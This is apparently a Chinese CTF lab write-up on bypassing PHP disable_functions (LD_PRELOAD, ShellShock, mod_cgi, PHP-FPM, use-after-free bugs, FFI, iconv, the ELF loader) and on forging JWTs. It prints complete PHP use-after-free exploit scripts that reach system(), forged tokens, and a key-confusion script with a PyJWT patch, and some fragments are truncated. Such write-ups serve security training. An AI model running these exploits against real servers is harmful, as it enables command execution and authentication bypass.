PHP 的 disabled_functions主要是用于禁用一些危险的函数防止被一些攻击者利用
有四种绕过 disable_functions 的手法:
攻击后端组件,寻找存在命令注入的 web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞等等
寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼
mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制(让特定扩展名的文件直接和php-cgi通信);
利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
目标:获取服务器上 /flag 文件中的 flag。需要了解 Linux LD_PRELOAD 环境变量。
LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
启动环境
执行命令发现是不可以的,因为有限制
使用插件绕过(蚁剑使用梯子代理访问插件市场)
利用PHP破壳完成 Bypass
ShellShock漏洞原理
仔细阅读ShellShock漏洞的过程
分析
详细参考文章(截图来源):
ShellShock(破壳漏洞)的简单分析_爱唠叨的老鱼-CSDN博客_shellshock
error_log用法
PHP error_log() 函数 | 菜鸟教程
蚁剑连接,如果连接失败可以换一个编码器。
我们写入shell.php文件
通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_开头。
error_log()函数会在执行sh -c -t -i触发payload
> /var/www/html/test.php");
error_log("admin",1);
//mail("admin@localhost","","","","");
?>
通过浏览器访问 shell.php
我们刷新目录生成了 test.php
查看test.php文件,成功获得test.php
了解 Apache Mod CGI 为什么会 Bypass disable_function
CGI:
CGI简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程.
MOD_CGI:
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中.
蚁剑连接
使用插件绕过
绕过的条件为:
第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件
蚁剑插件自动写入(我们也可以手工写入,要注意写入文件的权限)
.htaccess
如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
这里,将所有.ant
后缀的文件作为cgi脚本执行
shell.ant
我们可以修改shell.ant的内容(写入命令),浏览器访问shell.ant
也可以直接 tac /falg 成功获得flag
正常情况下, PHP-FPM 是不会对外开放的。在有 webshell 之后,这就变得不一样了。学习通过攻击 PHP-FPM 达到 Bypass 的目的。
补充知识:
Nginx+Php-fpm 运行原理详解
攻击PHP-FPM 实现Bypass Disable Functions
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
蚁剑连接
插件选择 Fastcgi/PHP-FPM模式
FPM/FCGI 地址 localhost:9000 通讯地址我们选择本地的 (相当于他服务器的本地)
蚁剑连接
直接 tac /flag 成功获得flag
理论上PHP本地代码执行漏洞都可以用来 Bypass disable_function, 比如 GC UAF
PHP :: Bug #72530 :: Use After Free in GC with Certain Destructors
利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3
启动环境,蚁剑连接
使用蚁剑插件,完事直接tac /flag
理论上PHP本地代码执行漏洞都可以用来 Bypass disable_function, 比如 PHP #77843 Json Serializer UAF 漏洞。
利用json序列化中的堆溢出触发,借以绕过disable_function,影响范围是:
7.1 – all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
PHP :: Bug #77843 :: Use after free with json serializer
启动环境,蚁剑连接
使用蚁剑插件
或者写入脚本,写入之后,运行即可执行命令
脚本如下:
>= 8;
}
}
public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
# unable to leak ro segments
public function leak1($addr) {
global $spl1;
$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}
# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;
# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);
$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);
$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000
if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}
$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();
# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;
# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry
# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}
# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}
# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;
$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}
# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}
# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}
# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
$spl1->offsetGet($cmd);
exit();
}
}
$y = [new Z()];
json_encode([&$y]);
理论上PHP本地代码执行漏洞都可以用来 Bypass disable_function
PHP :: Bug #76047 :: Use-after-free when accessing already destructed backtrace arguments
使用蚁剑插件
或者写入脚本,浏览器访问
脚本:
a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
FFI 扩展已经通过RFC, 正式成为PHP7.4的捆绑扩展库, FFI 扩展允许 PHP 执行嵌入式 C 代码。
PHP FFI详解 - 一种全新的PHP扩展方式 - 风雪之隅
php>7.4,开启了FFI扩展ffi.enable=true,我们可以通过FFI来调用C中的system进而达到执行命令的目的
使用蚁剑插件
写入如下代码:
脚本:
system("tac /flag > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
使用GCONV_PATH与iconv进行bypass disable_functions_lesion__的博客-CSDN博客
蚁剑连接,插件生成 .antproxy.php
连接 .antproxy.php
执行命令
.antproxy.php
$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_\w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("
",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 64870;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}
$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";
$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;
fputs($fp, $out);
$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;
使用插件绕过,与 iconv 步骤一致,不在演示
本题难度较大,谨慎开启。学习 Linux ELF Dynaamic Loader 技术。在 ELF 无 x 权限时运行 ELF 文件。
补充知识
ELF (文件格式):在计算机科学中,是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储格式文件
通俗理解成在linux下的可执行文件
启动环境
蚁剑连接
终端执行命令 /readflag tac /flag
提示我们没有权限
我们的提权的操作是不允许的
再回到题目提示 使用Linux ELF Dynaamic Loader
技术
我们需要用到动态加载器来做到间接执行 /readflag 文件
这就需要用到 动态库链接器/加载器
ld-linux.so.2
ld-linux.so.2是什么文件?
这是glibc的库文件,一般链接到相应版本的ld-xxx.so上,是和动态库载入有关的函数
很多现代应用都是通过动态编译链接的,当一个 需要动态链接 的应用被操作系统加载时,系统必须要 定位 然后 加载它所需要的所有动态库文件。 在Linux环境下,这项工作是由ld-linux.so.2来负责完成的,我们可以通过 ldd 命令来查看一个 应用需要哪些依赖的动态库:
1 2 3 4 5 6 7 8 9 10 11 |
$ ldd `which ls` linux-gate.so.1 => (0xb7fff000) librt.so.1 => /lib/librt.so.1 (0x00b98000) libacl.so.1 => /lib/libacl.so.1 (0x00769000) libselinux.so.1 => /lib/libselinux.so.1 (0x00642000) libc.so.6 => /lib/libc.so.6 (0x007b2000) libpthread.so.0 => /lib/libpthread.so.0 (0x00920000) /lib/ld-linux.so.2 (0x00795000) libattr.so.1 => /lib/libattr.so.1 (0x00762000) libdl.so.2 => /lib/libdl.so.2 (0x0091a000) libsepol.so.1 => /lib/libsepol.so.1 (0x0065b000) |
当最常见的ls小程序加载时,操作系统会将 控制权 交给 ld-linux.so 而不是 交给程序正常的进入地址。 ld-linux.so.2 会寻找然后加载所有需要的库文件,然后再将控制权交给应用的起始入口。
上面的ls在启动时,就需要ld-linux.so加载器将所有的动态库加载后然后再将控制权移交给ls程序的入口。
ld-linux.so.2 man page给我们更高一层的全局介绍, 它是在 链接器(通常是ld)在运行状态下的部件,用来定位和加载动态库到应用的运行地址(或者是运行内存)当中去。通常,动态链接是 在连接阶段当中 隐式指定的。 gcc -W1 options -L/path/included -lxxx 会将 options 传递到ld 然后指定相应的动态库加载。 ELF 文件提供了相应的加载信息, GCC包含了一个特殊的 ELF 头: INTERP, 这个 INTERP指定了 加载器的路径,我们可以用readelf 来查看相应的程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ readelf -l a.out Elf file type is EXEC (Executable file) Entry point 0x8048310 There are 9 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 [Requesting program interpreter: /lib/ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x004cc 0x004cc R E 0x1000 LOAD 0x000f0c 0x08049f0c 0x08049f0c 0x0010c 0x00110 RW 0x1000 . . . |
ELF 规格要求,假如 PT_INTERP 存在的话,操作系统必须创建这个 interpreter文件的运行映射,而不是这个程序本身, 控制权会交给这个interpreter,用来定位和加载所有的动态库.
直接执行以下命令,即可获得flag
/lib64/ld-linux-x86-64.so.2 /readflag
参考文章:
动态加载器 | CTFHub
理解ld-linux.so.2_weixin_34381687的博客-CSDN博客
JWT基础知识
JWT 的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露。试着找出FLAG。格式为 flag{}
JSON WEB TOKEN(缩写 JWT),服务器认证以后,生成一个 JSON 对象,发回给用户。
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。
服务器完全只靠这个对象认定用户身份。
为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名。
JWT 的结构 :
由三部分构成:
Header.Payload.Signature
头部.负载.签名
启动环境,admin admin 登录抓包
分析token,base64解码,找到我们想要的 flag
头部:eyJBRyI6IjA0MTRjNDRmYTczMzRhY30iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
负载:eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsIkZMIjoiY3RmaHViezliNTdmZGQzYyJ9.
签名:wFWJki2ApdGWYpjgfznzzS651nzz99MPr3FPNyZ2tWI
一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。尝试找到 flag。
登录,抓包
将token解码
发现 alg 为 HS256
role 为 guest
我们需要将guest 修改为 admin ,并且将 alg 改为 none
当alg字段为空时,后端将不执行签名验证
我们拼接起来,去掉JWT中的signature数据 仅剩header + '.' + payload + '.'
token=eyJ0eXAiOiJKV1QiICwgImFsZyI6Im5vbmUifQ==.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIiAsICJyb2xlIjoiYWRtaW4ifQ==.
如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag
对JWT的密钥爆破需要在一定的前提下进行:
登录抓包 ,获取到 token,JSON Web Tokens - jwt.io 使用该网址在线解密
使用工具:https://github.com/brendan-rius/c-jwt-cracker
需要先安装 apt-get install libssl-dev ,然后 make
就可执行命令了
./jwtcrack token(抓包获取到的token)
我们可看到我的密钥是 udln
我们将密钥写入签名中
并将 role 改为 admin
有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。
登录可以看到源码和publickey.pem
源码:
分析源码就会发现加密密钥为RS256,但又存在HS256,即可修改算法RS256为HS256(非对称密码算法 => 对称密码算法),如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名
HMAC
是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,它是一种对称加密算法,使用相同的密钥对传输信息进行加解密
RSA
则是一种非对称加密算法,使用私钥加密明文,公钥解密密文
CTFHub JWTDemo
Web Login
publickey.pem
alg, $alg));
return JWT::decode($token, $key, $algs);
} catch(Exception $e){
return false;
}
}
public static function getHeader($jwt) {
$tks = explode('.', $jwt);
list($headb64, $bodyb64, $cryptob64) = $tks;
$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
return $header;
}
}
$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$token = "";
if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'admin',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
} else {
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'guest',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
}
@setcookie("token", $token, time()+1800);
header("Location: /index.php");
exit();
} else {
@setcookie("token", "");
header("Location: /index.php");
exit();
}
} else {
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}
?>
publickey.pem
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyywHzTEZr7OSIcjwV3cd
B5eHMyMSQrWr16x8593B+yr7QInpJYn4IvVxSzCgSc21NATZGTWvybVmgrgk775T
yBodiLF9RcTTNw5p26U/CDWW5uYp4gkM4LjeR6MUqZZXmvN6e+dT2F0+VaXG/wzb
6oxvMKoDd3v8iizhUO8GwJiqIwRZG/YD3136+w4kYKY9mDdSwEp5C1zNBZQdkOKz
kUpcAtHTezwVCtTgTAGxB8Pgj7Ic/onxTGvLy5/yKSvX3Sf6oXJOq/KLWIq4IpA4
1DrGclf+3XsCnIoJl7AtucfOS/xmV900Xpoxmmsbq/sPS7XzKZN7wx6TQatU4cHg
kQIDAQAB
-----END PUBLIC KEY-----
写脚本进行HS256加密
public 中的内容是自己 publickey.pem 文件中的内容
import jwt
import base64
public = '''-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyywHzTEZr7OSIcjwV3cd
B5eHMyMSQrWr16x8593B+yr7QInpJYn4IvVxSzCgSc21NATZGTWvybVmgrgk775T
yBodiLF9RcTTNw5p26U/CDWW5uYp4gkM4LjeR6MUqZZXmvN6e+dT2F0+VaXG/wzb
6oxvMKoDd3v8iizhUO8GwJiqIwRZG/YD3136+w4kYKY9mDdSwEp5C1zNBZQdkOKz
kUpcAtHTezwVCtTgTAGxB8Pgj7Ic/onxTGvLy5/yKSvX3Sf6oXJOq/KLWIq4IpA4
1DrGclf+3XsCnIoJl7AtucfOS/xmV900Xpoxmmsbq/sPS7XzKZN7wx6TQatU4cHg
kQIDAQAB
-----END PUBLIC KEY-----
'''
payload={
"username": "admin",
"role": "admin"
}
print(jwt.encode(payload, key=public, algorithm='HS256'))
执行脚本需要先安装jwt库
pip3 install PyJWT
执行脚本我们会发现报错:
这是提示我们这密钥不能在这个算法里使用,然后我们需要对源码包进行修改。
我们需要修改algorithms.py
LINUX中JWT包的位置 /usr/lib/python3.8/dist-packages/jwt/algorithms.py
打开之后,加上这一句:invalid_strings=[]
然后再删除 rm -rf pycache
然后执行脚本
我们将生成的token提交,成功获得flag
web进阶完结!!!
剩余功能上线后持续更新~